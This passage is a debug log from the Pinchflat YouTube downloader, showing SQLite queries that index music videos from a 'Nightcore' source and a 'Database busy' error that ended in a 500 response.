https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "DEATH EFFECT", "bda2cda4-a847-4804-9dc6-79d424fd6050", false, "3aup1n4f8x0", 674, false, "https://www.youtube.com/watch?v=3aup1n4f8x0", 24, "/downloads/Nightcore/Nightcore/2026-06-14DEATH EFFECT[3aup1n4f8x0].m4a", false, false, 1, [], 1, ~U[2026-06-14 05:00:25Z], ~U[2026-07-24 02:23:27Z], ~U[2026-07-24 02:23:27Z], "Discord: https://discord.gg/dysmn\n\n0:00 - I Am Sorry, I Love You\n2:11 - Just Kill Me Already\n5:24 - Don't Hug Me, I Am Scared\n8:42 - Sometimes I worry that nothing is ever enough\n\nSpotify: https://open.spotify.com/artist/4m6gJ1ZMwIiUUveRuKg65h\n-------------------|\nInstagram: https://www.instagram.com/dysmn.exe/\nTiktok: https://www.tiktok.com/@dysmn.music\nX: https://x.com/Dysmn_ \n\nWant to support me? -\n- (Membership) https://www.youtube.com/channel/UCBdxXQRUwjfiL0SfVyhkauw/join\n- (Merch) https://dysmn-shop.fourthwall.com\n- (Merch) https://dysmn-merch.printify.me", "DEATH EFFECT", "3aup1n4f8x0", 674, false, "https://www.youtube.com/watch?v=3aup1n4f8x0", "/downloads/Nightcore/Nightcore/2026-06-14DEATH EFFECT[3aup1n4f8x0].m4a", false, 1, ~U[2026-06-14 05:00:25Z]] 22:23:27.888 [debug] QUERY OK source="sources" db=0.1ms idle=175.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:27.888 [debug] QUERY OK source="media_items" db=0.1ms idle=174.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-09 15:01:50Z], 1] 22:23:28.056 [debug] QUERY OK source="media_items" db=166.9ms idle=174.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by SongCast, Inc.\n\nSay It Right (Phonk Version) · Miguel Pascal\n\nSay It Right (Phonk Version)\n\n℗ 2026, Gengar Music Entertainment Party\n\nReleased on: 2026-06-08\n\nAuto-generated by YouTube.", "Say It Right (Phonk Version)", "9095fe4d-f3db-4a90-9497-24607dc82a0c", false, "ZkigfGIueJ0", 177, false, "https://www.youtube.com/watch?v=ZkigfGIueJ0", 25, "/downloads/Nightcore/Nightcore/2026-06-09Say It Right (Phonk Version)[ZkigfGIueJ0].m4a", false, false, 1, [], 1, ~U[2026-06-09 15:01:50Z], ~U[2026-07-24 02:23:27Z], ~U[2026-07-24 02:23:27Z], "Provided to YouTube by SongCast, Inc.\n\nSay It Right (Phonk Version) · Miguel Pascal\n\nSay It Right (Phonk Version)\n\n℗ 2026, Gengar Music Entertainment Party\n\nReleased on: 2026-06-08\n\nAuto-generated by YouTube.", "Say It Right (Phonk Version)", "ZkigfGIueJ0", 177, false, "https://www.youtube.com/watch?v=ZkigfGIueJ0", "/downloads/Nightcore/Nightcore/2026-06-09Say It Right (Phonk Version)[ZkigfGIueJ0].m4a", false, 1, ~U[2026-06-09 15:01:50Z]] 22:23:28.056 [debug] QUERY OK source="sources" db=0.2ms idle=168.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:28.056 [debug] QUERY OK source="media_items" db=0.1ms idle=168.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-10 20:09:03Z], 1] 22:23:28.238 [debug] QUERY OK source="media_items" db=180.7ms idle=168.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["IBM7094へのトリビュート。自分の祖父とミクの“おじいちゃん”にも感謝を。\nshoutout to my grandpa as well as mikus\n\n\nクレジット / credits:\nMIDI: crono23 (musescore)", "[Hatsune Miku V4X] Daisy Bell", "f8123632-63d6-479c-832a-e973d264980e", false, "aeuA7VSbxVI", 203, false, "https://www.youtube.com/watch?v=aeuA7VSbxVI", 26, "/downloads/Nightcore/Nightcore/2024-06-10[Hatsune Miku V4X] Daisy Bell[aeuA7VSbxVI].m4a", false, false, 1, [], 1, ~U[2024-06-10 20:09:03Z], ~U[2026-07-24 02:23:28Z], ~U[2026-07-24 02:23:28Z], "IBM7094へのトリビュート。自分の祖父とミクの“おじいちゃん”にも感謝を。\nshoutout to my grandpa as well as mikus\n\n\nクレジット / credits:\nMIDI: crono23 (musescore)", "[Hatsune Miku V4X] Daisy Bell", "aeuA7VSbxVI", 203, false, "https://www.youtube.com/watch?v=aeuA7VSbxVI", "/downloads/Nightcore/Nightcore/2024-06-10[Hatsune Miku V4X] Daisy Bell[aeuA7VSbxVI].m4a", false, 1, ~U[2024-06-10 20:09:03Z]] 22:23:28.239 [debug] QUERY OK source="sources" db=0.4ms idle=182.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:28.240 [debug] QUERY OK source="media_items" db=0.4ms idle=182.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-07 18:31:15Z], 1] 22:23:28.323 [debug] QUERY ERROR source="settings" db=2002.7ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:28.359 [debug] QUERY OK source="media_items" db=118.6ms idle=183.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Original by Imojistmusic was taken down so here’s a reupload! Credit to him!\n\nhttps://youtube.com/@IMOJIST?si=JGCqRiw18unQnwzn", "Kiss me again (Eurobeat remix)", "63553f41-28f0-4add-ae9e-3154759c150a", false, "WcZfXHqksq4", 224, false, "https://www.youtube.com/watch?v=WcZfXHqksq4", 27, "/downloads/Nightcore/Nightcore/2025-04-07Kiss me again (Eurobeat remix)[WcZfXHqksq4].m4a", false, false, 1, [], 1, ~U[2025-04-07 18:31:15Z], ~U[2026-07-24 02:23:28Z], ~U[2026-07-24 02:23:28Z], "Original by Imojistmusic was taken down so here’s a reupload! Credit to him!\n\nhttps://youtube.com/@IMOJIST?si=JGCqRiw18unQnwzn", "Kiss me again (Eurobeat remix)", "WcZfXHqksq4", 224, false, "https://www.youtube.com/watch?v=WcZfXHqksq4", "/downloads/Nightcore/Nightcore/2025-04-07Kiss me again (Eurobeat remix)[WcZfXHqksq4].m4a", false, 1, ~U[2025-04-07 18:31:15Z]] 22:23:28.360 [debug] QUERY OK source="settings" db=34.6ms idle=87.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:28.360 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=120.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:28.361 [debug] QUERY OK source="settings" db=0.7ms idle=120.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:28.362 [debug] QUERY OK source="media_items" db=1.0ms idle=37.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-11 21:00:11Z], 1] 22:23:28.363 [debug] QUERY OK source="settings" db=1.0ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:28.364 [info] Sent 500 in 2978ms 22:23:28.364 [debug] Converted error Exqlite.Error to 500 response 22:23:28.365 [error] #PID<0.3098.0> running PinchflatWeb.Endpoint (connection #PID<0.3097.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /media_profiles ** (exit) an exception was raised: ** (Exqlite.Error) Database busy SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1096: Ecto.Adapters.SQL.raise_sql_call_error/1 (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6 (ecto 3.12.5) lib/ecto/repo/queryable.ex:232: Ecto.Repo.Queryable.execute/4 (ecto 3.12.5) lib/ecto/repo/queryable.ex:19: Ecto.Repo.Queryable.all/3 (ecto 3.12.5) lib/ecto/repo/queryable.ex:154: Ecto.Repo.Queryable.one/3 (pinchflat 2025.9.26) lib/pinchflat/settings/settings.ex:57: Pinchflat.Settings.get/1 (pinchflat 2025.9.26) lib/pinchflat/settings/settings.ex:69: Pinchflat.Settings.get!/1 (pinchflat 2025.9.26) lib/pinchflat_web/components/layouts/partials/sidebar.html.heex:84: anonymous fn/2 in PinchflatWeb.Layouts.sidebar/1 22:23:28.537 [debug] QUERY OK source="media_items" db=173.6ms idle=2.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["𝕾𝖙𝖗𝖊𝖆𝖒\nhttps://lolliaofficial.com/release/thecollectivev01/\n_\nTEAM EDWARD OR JACOB? Nah jk lol... WOO! Here it is. Recording this song was almost the bane of my existence, but I'm SUPER proud of how this turned out! This is one of my dream covers, and I'm happy I was able to collab with my good friends Rich and Rachel. I love you guys! Also, be sure to check our other collab on @RichaadEB's channel. We covered \"A Cruel Angel's Thesis\"! https://www.youtube.com/watch?v=4PufrCwfIhk\n_\n𝕮𝖗𝖊𝖉𝖎𝖙𝖘\n♦ Vocals by @lollia_official.\n♦ Arrangement, guitar and mix by @RichaadEB.\n♦ Music video filmed and produced by Rachel E.B. (https://twitter.com/thunderesque)\n♦ Original song by Paramore.\n_\n𝕱𝖔𝖑𝖑𝖔𝖜 𝕸𝖊\n◈ https://lolliaofficial.com/links\n◈ https://ffm.bio/lollia\n_\n#PARAMORE #DECODE #TWILIGHT\n#lollia #lolliacover \n(LYRICS IN COMMENT SECTION)\n© PRODUCTION OF ROSE MOON STUDIOS LLC", "Decode (Paramore) Cover by Lollia feat. @RichaadEB", "fef26298-f73d-4641-8e91-9cf3f6b2174f", false, "iCIdnu-2TQ4", 257, false, "https://www.youtube.com/watch?v=iCIdnu-2TQ4", 28, "/downloads/Nightcore/Nightcore/2020-04-11Decode (Paramore) Cover by Lollia feat. @RichaadEB[iCIdnu-2TQ4].m4a", false, false, 1, [], 1, ~U[2020-04-11 21:00:11Z], ~U[2026-07-24 02:23:28Z], ~U[2026-07-24 02:23:28Z], "𝕾𝖙𝖗𝖊𝖆𝖒\nhttps://lolliaofficial.com/release/thecollectivev01/\n_\nTEAM EDWARD OR JACOB? Nah jk lol... WOO! Here it is. Recording this song was almost the bane of my existence, but I'm SUPER proud of how this turned out! This is one of my dream covers, and I'm happy I was able to collab with my good friends Rich and Rachel. I love you guys! Also, be sure to check our other collab on @RichaadEB's channel. We covered \"A Cruel Angel's Thesis\"! https://www.youtube.com/watch?v=4PufrCwfIhk\n_\n𝕮𝖗𝖊𝖉𝖎𝖙𝖘\n♦ Vocals by @lollia_official.\n♦ Arrangement, guitar and mix by @RichaadEB.\n♦ Music video filmed and produced by Rachel E.B. (https://twitter.com/thunderesque)\n♦ Original song by Paramore.\n_\n𝕱𝖔𝖑𝖑𝖔𝖜 𝕸𝖊\n◈ https://lolliaofficial.com/links\n◈ https://ffm.bio/lollia\n_\n#PARAMORE #DECODE #TWILIGHT\n#lollia #lolliacover \n(LYRICS IN COMMENT SECTION)\n© PRODUCTION OF ROSE MOON STUDIOS LLC", "Decode (Paramore) Cover by Lollia feat. @RichaadEB", "iCIdnu-2TQ4", 257, false, "https://www.youtube.com/watch?v=iCIdnu-2TQ4", "/downloads/Nightcore/Nightcore/2020-04-11Decode (Paramore) Cover by Lollia feat. @RichaadEB[iCIdnu-2TQ4].m4a", false, 1, ~U[2020-04-11 21:00:11Z]] 22:23:28.538 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=176.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:28.555 [debug] QUERY OK source="media_items" db=0.7ms queue=15.7ms idle=176.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-09-20 18:39:18Z], 1] 22:23:28.662 [debug] QUERY OK source="media_items" db=106.1ms queue=0.1ms idle=192.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["✶ Be my Patron: https://www.patreon.com/VioletOrlandi \n✶ Donate with PayPal - https://bit.ly/VioletOrlandi\n\n✶ MERCH - https://violet-orlandi-shop.fourthwall.com/\n\nFOLLOW ME:\nhttps://linktr.ee/VioletOrlandi\n\nSTREAM THIS COVER\nSpotify https://spoti.fi/3kyrjPu\nApple Music https://apple.co/3438JbZ\n\n----------------------------------------------------------------------------------------------------\n\nRecorded & produced by Elia Bazzi\nMix & master by Giampiero Ulacco - http://bit.ly/2T9tn5F\n\nKeep in touch with Barbie Sailers!\nYoutube ➵ https://www.youtube.com/barbiesailers", "Lana Del Rey - Summertime Sadness (ROCK COVER)", "8bdf55cb-fead-41c2-8555-4ab4d4d41b76", false, "_EI4dchgzVw", 238, false, "https://www.youtube.com/watch?v=_EI4dchgzVw", 29, "/downloads/Nightcore/Nightcore/2020-09-20Lana Del Rey - Summertime Sadness (ROCK COVER)[_EI4dchgzVw].m4a", false, false, 1, [], 1, ~U[2020-09-20 18:39:18Z], ~U[2026-07-24 02:23:28Z], ~U[2026-07-24 02:23:28Z], "✶ Be my Patron: https://www.patreon.com/VioletOrlandi \n✶ Donate with PayPal - https://bit.ly/VioletOrlandi\n\n✶ MERCH - https://violet-orlandi-shop.fourthwall.com/\n\nFOLLOW ME:\nhttps://linktr.ee/VioletOrlandi\n\nSTREAM THIS COVER\nSpotify https://spoti.fi/3kyrjPu\nApple Music https://apple.co/3438JbZ\n\n----------------------------------------------------------------------------------------------------\n\nRecorded & produced by Elia Bazzi\nMix & master by Giampiero Ulacco - http://bit.ly/2T9tn5F\n\nKeep in touch with Barbie Sailers!\nYoutube ➵ https://www.youtube.com/barbiesailers", "Lana Del Rey - Summertime Sadness (ROCK COVER)", "_EI4dchgzVw", 238, false, "https://www.youtube.com/watch?v=_EI4dchgzVw", "/downloads/Nightcore/Nightcore/2020-09-20Lana Del Rey - Summertime Sadness (ROCK COVER)[_EI4dchgzVw].m4a", false, 1, ~U[2020-09-20 18:39:18Z]] 22:23:28.662 [debug] QUERY OK source="sources" db=0.1ms idle=125.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:28.662 [debug] QUERY OK source="media_items" db=0.2ms idle=124.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-16 20:46:49Z], 1] 22:23:28.813 [debug] QUERY OK source="media_items" db=150.3ms idle=108.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Studio 71\n\nSo Cold · First to Eleven\n\nCovers Vol. 14\n\n℗ 2023 First to Eleven, under exclusive license to Studio71\n\nReleased on: 2023-01-19\n\nMain Artist: First to Eleven\nLyricist: Benjamin Burnley\nComposer: Benjamin Burnley\n\nAuto-generated by YouTube.", "So Cold", "8dbb42ea-0291-4e53-814a-20e289af9935", false, "oOqGt1U2e9w", 271, false, "https://www.youtube.com/watch?v=oOqGt1U2e9w", 30, "/downloads/Nightcore/Nightcore/2025-12-16So Cold[oOqGt1U2e9w].m4a", false, false, 1, [], 1, ~U[2025-12-16 20:46:49Z], ~U[2026-07-24 02:23:28Z], ~U[2026-07-24 02:23:28Z], "Provided to YouTube by Studio 71\n\nSo Cold · First to Eleven\n\nCovers Vol. 14\n\n℗ 2023 First to Eleven, under exclusive license to Studio71\n\nReleased on: 2023-01-19\n\nMain Artist: First to Eleven\nLyricist: Benjamin Burnley\nComposer: Benjamin Burnley\n\nAuto-generated by YouTube.", "So Cold", "oOqGt1U2e9w", 271, false, "https://www.youtube.com/watch?v=oOqGt1U2e9w", "/downloads/Nightcore/Nightcore/2025-12-16So Cold[oOqGt1U2e9w].m4a", false, 1, ~U[2025-12-16 20:46:49Z]] 22:23:28.815 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=258.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:28.815 [debug] QUERY OK source="media_items" db=0.4ms idle=153.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-13 12:09:02Z], 1] 22:23:28.956 [debug] QUERY OK source="media_items" db=140.0ms idle=154.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["how do you drift?\n.\n› Genre(s): Eurobeat\n.\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› Sociabuzz: https://sociabuzz.com/imojist/tribe\n.\n› Follow Me on Facebook: https://www.facebook.com/imojistmusic/\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: Boom - How Do You Do?\n.\nArt: https://thptnganamst.edu.vn/top-100-image-red-hair-anime-girl/\n.\n› Follow me on various platforms: https://imojist.carrd.co\n.\n#boom #howdoyoudo #eurobeat #remix #music #nightcore", "HOW DO YOU DO? // Eurobeat Remix - Boom", "655cf0f2-a456-4aa3-8e2d-e05182edd93d", false, "HMEClOtie6c", 216, false, "https://www.youtube.com/watch?v=HMEClOtie6c", 31, "/downloads/Nightcore/Nightcore/2023-08-13HOW DO YOU DO? ⧸⧸ Eurobeat Remix - Boom[HMEClOtie6c].m4a", false, false, 1, [], 1, ~U[2023-08-13 12:09:02Z], ~U[2026-07-24 02:23:28Z], ~U[2026-07-24 02:23:28Z], "how do you drift?\n.\n› Genre(s): Eurobeat\n.\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› Sociabuzz: https://sociabuzz.com/imojist/tribe\n.\n› Follow Me on Facebook: https://www.facebook.com/imojistmusic/\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: Boom - How Do You Do?\n.\nArt: https://thptnganamst.edu.vn/top-100-image-red-hair-anime-girl/\n.\n› Follow me on various platforms: https://imojist.carrd.co\n.\n#boom #howdoyoudo #eurobeat #remix #music #nightcore", "HOW DO YOU DO? // Eurobeat Remix - Boom", "HMEClOtie6c", 216, false, "https://www.youtube.com/watch?v=HMEClOtie6c", "/downloads/Nightcore/Nightcore/2023-08-13HOW DO YOU DO? ⧸⧸ Eurobeat Remix - Boom[HMEClOtie6c].m4a", false, 1, ~U[2023-08-13 12:09:02Z]] 22:23:28.957 [debug] QUERY OK source="sources" db=0.2ms idle=294.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:28.957 [debug] QUERY OK source="media_items" db=0.1ms idle=143.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-02 12:28:50Z], 1] 22:23:29.114 [debug] QUERY OK source="media_items" db=156.9ms idle=142.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["lalalalala\n.\n› Genre(s): Eurobeat\n.\n› Be a member and gain custom badges, custom emojis and early access to new remixes.\nJoin Now: 